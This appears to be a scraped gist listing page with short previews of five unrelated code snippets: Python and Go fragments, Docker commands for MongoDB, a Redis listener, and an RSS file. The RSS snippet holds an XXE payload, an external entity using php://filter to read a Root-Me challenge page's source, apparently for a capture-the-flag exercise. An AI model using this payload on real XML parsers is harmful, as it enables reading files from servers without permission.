Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from bs4 import BeautifulSoup | |
| import requests | |
| import re | |
| import urllib2 | |
| import os | |
| import argparse | |
| import sys | |
| import json | |
| # adapted from http://stackoverflow.com/questions/20716842/python-download-images-from-google-image-search |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "sync" | |
| "time" | |
| ) | |
| func main() { | |
| // Create a wait group of any size |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE rss [ | |
| <!ELEMENT title ANY> | |
| <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://challenge01.root-me.org/web-serveur/ch29/index.php" > | |
| ]> | |
| <rss version="1.0" xmlns:atom="http://www.w3.org/2005/Atom"> | |
| <channel> | |
| <title>The Blog</title> | |
| <link>http://example.com/</link> | |
| <description>A blog about things</description> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Create a container from the mongo image, | |
| # run is as a daemon (-d), expose the port 27017 (-p), | |
| # set it to auto start (--restart) | |
| # and with mongo authentication (--auth) | |
| # Image used is https://hub.docker.com/_/mongo/ | |
| docker pull mongo | |
| docker run --name YOURCONTAINERNAME --restart=always -d -p 27017:27017 mongo mongod --auth | |
| # Using the mongo "localhost exception" (https://docs.mongodb.org/v3.0/core/security-users/#localhost-exception) | |
| # add a root user |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import redis | |
| import threading | |
| class Listener(threading.Thread): | |
| def __init__(self, r, channels): | |
| threading.Thread.__init__(self) | |
| self.redis = r | |
| self.pubsub = self.redis.pubsub() | |
| self.pubsub.subscribe(channels) | |